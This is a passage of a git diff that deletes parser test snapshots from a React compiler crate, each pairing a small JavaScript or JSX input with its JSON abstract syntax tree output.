-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        106,
-                        107
-                      ]
-                    },
-                    "right": {
-                      "type": "Identifier",
-                      "name": "c",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        110,
-                        111
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      106,
-                      111
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    106,
-                    112
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                49,
-                116
-              ]
-            },
-            "loc": null,
-            "range": [
-              42,
-              116
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                126,
-                127
-              ]
-            },
-            "loc": null,
-            "range": [
-              119,
-              128
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          130
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        130
-      ],
-      "loc": null,
-      "range": [
-        0,
-        130
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    130
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@inverted-if.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@inverted-if.js.snap
deleted file mode 100644
index c5ecfe6aebeb..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@inverted-if.js.snap
+++ /dev/null
@@ -1,374 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/inverted-if.js
----
-Input:
-function foo(a, b, c, d) {
-  let y = [];
-  label: if (a) {
-    if (b) {
-      y.push(c);
-      break label;
-    }
-    y.push(d);
-  }
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "d",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            22,
-            23
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    33,
-                    34
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    37,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  33,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              29,
-              40
-            ]
-          },
-          {
-            "type": "LabeledStatement",
-            "label": {
-              "type": "Identifier",
-              "name": "label",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                43,
-                48
-              ]
-            },
-            "body": {
-              "type": "IfStatement",
-              "test": {
-                "type": "Identifier",
-                "name": "a",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  54,
-                  55
-                ]
-              },
-              "consequent": {
-                "type": "BlockStatement",
-                "body": [
-                  {
-                    "type": "IfStatement",
-                    "test": {
-                      "type": "Identifier",
-                      "name": "b",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        67,
-                        68
-                      ]
-                    },
-                    "consequent": {
-                      "type": "BlockStatement",
-                      "body": [
-                        {
-                          "type": "ExpressionStatement",
-                          "expression": {
-                            "type": "CallExpression",
-                            "callee": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "y",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  78,
-                                  79
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "push",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  80,
-                                  84
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                78,
-                                84
-                              ]
-                            },
-                            "arguments": [
-                              {
-                                "type": "Identifier",
-                                "name": "c",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  85,
-                                  86
-                                ]
-                              }
-                            ],
-                            "loc": null,
-                            "range": [
-                              78,
-                              87
-                            ]
-                          },
-                          "directive": null,
-                          "loc": null,
-                          "range": [
-                            78,
-                            88
-                          ]
-                        },
-                        {
-                          "type": "BreakStatement",
-                          "label": {
-                            "type": "Identifier",
-                            "name": "label",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              101,
-                              106
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            95,
-                            107
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        70,
-                        113
-                      ]
-                    },
-                    "alternate": null,
-                    "loc": null,
-                    "range": [
-                      63,
-                      113
-                    ]
-                  },
-                  {
-                    "type": "ExpressionStatement",
-                    "expression": {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "y",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            118,
-                            119
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "push",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            120,
-                            124
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          118,
-                          124
-                        ]
-                      },
-                      "arguments": [
-                        {
-                          "type": "Identifier",
-                          "name": "d",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            125,
-                            126
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        118,
-                        127
-                      ]
-                    },
-                    "directive": null,
-                    "loc": null,
-                    "range": [
-                      118,
-                      128
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  57,
-                  132
-                ]
-              },
-              "alternate": null,
-              "loc": null,
-              "range": [
-                50,
-                132
-              ]
-            },
-            "loc": null,
-            "range": [
-              43,
-              132
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                142,
-                143
-              ]
-            },
-            "loc": null,
-            "range": [
-              135,
-              144
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          25,
-          146
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        146
-      ],
-      "loc": null,
-      "range": [
-        0,
-        146
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    146
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@issue852.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@issue852.js.snap
deleted file mode 100644
index 038bd5d4ba61..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@issue852.js.snap
+++ /dev/null
@@ -1,261 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/issue852.js
----
-Input:
-function Component(c) {
-  let x = { c };
-  mutate(x);
-  let a = x;
-  let b = a;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "c",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "c",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        36,
-                        37
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    34,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              40
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  43,
-                  49
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    50,
-                    51
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                43,
-                52
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              43,
-              53
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    60,
-                    61
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    64,
-                    65
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  60,
-                  65
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              56,
-              66
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    73,
-                    74
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    77,
-                    78
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  73,
-                  78
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              69,
-              79
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          81
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        81
-      ],
-      "loc": null,
-      "range": [
-        0,
-        81
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    81
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@issue933-disjoint-set-infinite-loop.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@issue933-disjoint-set-infinite-loop.js.snap
deleted file mode 100644
index 0aeec079dc44..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@issue933-disjoint-set-infinite-loop.js.snap
+++ /dev/null
@@ -1,315 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/issue933-disjoint-set-infinite-loop.js
----
-Input:
-// This caused an infinite loop in the compiler
-function MyApp(props) {
-  const y = makeObj();
-  const tmp = y.a;
-  const tmp2 = tmp.b;
-  y.push(tmp2);
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "MyApp",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          57,
-          62
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            63,
-            68
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    80,
-                    81
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeObj",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      84,
-                      91
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    84,
-                    93
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  80,
-                  93
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              74,
-              94
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "tmp",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    103,
-                    106
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "y",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      109,
-                      110
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      111,
-                      112
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    109,
-                    112
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  103,
-                  112
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              97,
-              113
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "tmp2",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    122,
-                    126
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "tmp",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      129,
-                      132
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      133,
-                      134
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    129,
-                    134
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  122,
-                  134
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              116,
-              135
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    138,
-                    139
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    140,
-                    144
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  138,
-                  144
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "tmp2",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    145,
-                    149
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                138,
-                150
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              138,
-              151
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                161,
-                162
-              ]
-            },
-            "loc": null,
-            "range": [
-              154,
-              163
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          70,
-          165
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        48,
-        165
-      ],
-      "loc": null,
-      "range": [
-        48,
-        165
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    48,
-    165
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@jsx-empty-expression.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@jsx-empty-expression.js.snap
deleted file mode 100644
index 2280f9a57c20..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@jsx-empty-expression.js.snap
+++ /dev/null
@@ -1,222 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/jsx-empty-expression.js
----
-Input:
-export function Component(props) {
-  return (
-    <div>
-      {}
-      {props.a}
-    </div>
-  );
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "ExportNamedDeclaration",
-      "declaration": {
-        "type": "FunctionDeclaration",
-        "id": {
-          "type": "Identifier",
-          "name": "Component",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            25
-          ]
-        },
-        "params": [
-          {
-            "type": "Identifier",
-            "name": "props",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              26,
-              31
-            ]
-          }
-        ],
-        "body": {
-          "type": "BlockStatement",
-          "body": [
-            {
-              "type": "ReturnStatement",
-              "argument": {
-                "type": "JSXElement",
-                "openingElement": {
-                  "type": "JSXOpeningElement",
-                  "name": {
-                    "type": "JSXIdentifier",
-                    "name": "div",
-                    "loc": null,
-                    "range": [
-                      51,
-                      54
-                    ]
-                  },
-                  "attributes": [],
-                  "selfClosing": false,
-                  "loc": null,
-                  "range": [
-                    50,
-                    55
-                  ]
-                },
-                "children": [
-                  {
-                    "type": "JSXText",
-                    "value": "\n      ",
-                    "raw": "\n      ",
-                    "loc": null,
-                    "range": [
-                      55,
-                      62
-                    ]
-                  },
-                  {
-                    "type": "JSXExpressionContainer",
-                    "expression": {
-                      "type": "JSXEmptyExpression",
-                      "loc": null,
-                      "range": [
-                        63,
-                        63
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      62,
-                      64
-                    ]
-                  },
-                  {
-                    "type": "JSXText",
-                    "value": "\n      ",
-                    "raw": "\n      ",
-                    "loc": null,
-                    "range": [
-                      64,
-                      71
-                    ]
-                  },
-                  {
-                    "type": "JSXExpressionContainer",
-                    "expression": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          72,
-                          77
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          78,
-                          79
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        72,
-                        79
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      71,
-                      80
-                    ]
-                  },
-                  {
-                    "type": "JSXText",
-                    "value": "\n    ",
-                    "raw": "\n    ",
-                    "loc": null,
-                    "range": [
-                      80,
-                      85
-                    ]
-                  }
-                ],
-                "closingElement": {
-                  "type": "JSXClosingElement",
-                  "name": {
-                    "type": "JSXIdentifier",
-                    "name": "div",
-                    "loc": null,
-                    "range": [
-                      87,
-                      90
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    85,
-                    91
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  50,
-                  91
-                ]
-              },
-              "loc": null,
-              "range": [
-                37,
-                96
-              ]
-            }
-          ],
-          "loc": null,
-          "range": [
-            33,
-            98
-          ]
-        },
-        "generator": false,
-        "async": false,
-        "loc": null,
-        "range": [
-          7,
-          98
-        ],
-        "loc": null,
-        "range": [
-          7,
-          98
-        ]
-      },
-      "specifiers": [],
-      "source": null,
-      "loc": null,
-      "range": [
-        0,
-        98
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    98
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@jsx-fragment.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@jsx-fragment.js.snap
deleted file mode 100644
index ed96edd2b5f6..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@jsx-fragment.js.snap
+++ /dev/null
@@ -1,297 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/jsx-fragment.js
----
-Input:
-function Foo(props) {
-  return (
-    <>
-      Hello {props.greeting}{" "}
-      <div>
-        <>Text</>
-      </div>
-    </>
-  );
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            18
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXFragment",
-              "openingFragment": {
-                "type": "JSXOpeningFragment",
-                "loc": null,
-                "range": [
-                  37,
-                  39
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXText",
-                  "value": "\n      Hello ",
-                  "raw": "\n      Hello ",
-                  "loc": null,
-                  "range": [
-                    39,
-                    52
-                  ]
-                },
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        53,
-                        58
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "greeting",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        59,
-                        67
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      53,
-                      67
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    52,
-                    68
-                  ]
-                },
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "StringLiteral",
-                    "value": " ",
-                    "loc": null,
-                    "range": [
-                      69,
-                      72
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    68,
-                    73
-                  ]
-                },
-                {
-                  "type": "JSXText",
-                  "value": "\n      ",
-                  "raw": "\n      ",
-                  "loc": null,
-                  "range": [
-                    73,
-                    80
-                  ]
-                },
-                {
-                  "type": "JSXElement",
-                  "openingElement": {
-                    "type": "JSXOpeningElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "div",
-                      "loc": null,
-                      "range": [
-                        81,
-                        84
-                      ]
-                    },
-                    "attributes": [],
-                    "selfClosing": false,
-                    "loc": null,
-                    "range": [
-                      80,
-                      85
-                    ]
-                  },
-                  "children": [
-                    {
-                      "type": "JSXText",
-                      "value": "\n        ",
-                      "raw": "\n        ",
-                      "loc": null,
-                      "range": [
-                        85,
-                        94
-                      ]
-                    },
-                    {
-                      "type": "JSXFragment",
-                      "openingFragment": {
-                        "type": "JSXOpeningFragment",
-                        "loc": null,
-                        "range": [
-                          94,
-                          96
-                        ]
-                      },
-                      "children": [
-                        {
-                          "type": "JSXText",
-                          "value": "Text",
-                          "raw": "Text",
-                          "loc": null,
-                          "range": [
-                            96,
-                            100
-                          ]
-                        }
-                      ],
-                      "closingFragment": {
-                        "type": "JSXClosingFragment",
-                        "loc": null,
-                        "range": [
-                          100,
-                          103
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        94,
-                        103
-                      ]
-                    },
-                    {
-                      "type": "JSXText",
-                      "value": "\n      ",
-                      "raw": "\n      ",
-                      "loc": null,
-                      "range": [
-                        103,
-                        110
-                      ]
-                    }
-                  ],
-                  "closingElement": {
-                    "type": "JSXClosingElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "div",
-                      "loc": null,
-                      "range": [
-                        112,
-                        115
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      110,
-                      116
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    80,
-                    116
-                  ]
-                },
-                {
-                  "type": "JSXText",
-                  "value": "\n    ",
-                  "raw": "\n    ",
-                  "loc": null,
-                  "range": [
-                    116,
-                    121
-                  ]
-                }
-              ],
-              "closingFragment": {
-                "type": "JSXClosingFragment",
-                "loc": null,
-                "range": [
-                  121,
-                  124
-                ]
-              },
-              "loc": null,
-              "range": [
-                37,
-                124
-              ]
-            },
-            "loc": null,
-            "range": [
-              24,
-              129
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          20,
-          131
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        131
-      ],
-      "loc": null,
-      "range": [
-        0,
-        131
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    131
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@jsx-member-expression-tag-grouping.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@jsx-member-expression-tag-grouping.js.snap
deleted file mode 100644
index b0acf24cace2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@jsx-member-expression-tag-grouping.js.snap
+++ /dev/null
@@ -1,245 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/jsx-member-expression-tag-grouping.js
----
-Input:
-function Component(props) {
-  const maybeMutable = new MaybeMutable();
-  return <Foo.Bar>{maybeMutate(maybeMutable)}</Foo.Bar>;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "maybeMutable",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    48
-                  ]
-                },
-                "init": {
-                  "type": "NewExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "MaybeMutable",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      55,
-                      67
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    51,
-                    69
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  69
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              70
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXMemberExpression",
-                  "object": {
-                    "type": "JSXIdentifier",
-                    "name": "Foo",
-                    "loc": null,
-                    "range": [
-                      81,
-                      84
-                    ]
-                  },
-                  "property": {
-                    "type": "JSXIdentifier",
-                    "name": "Bar",
-                    "loc": null,
-                    "range": [
-                      85,
-                      88
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    81,
-                    88
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  80,
-                  89
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "maybeMutate",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        90,
-                        101
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "maybeMutable",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          102,
-                          114
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
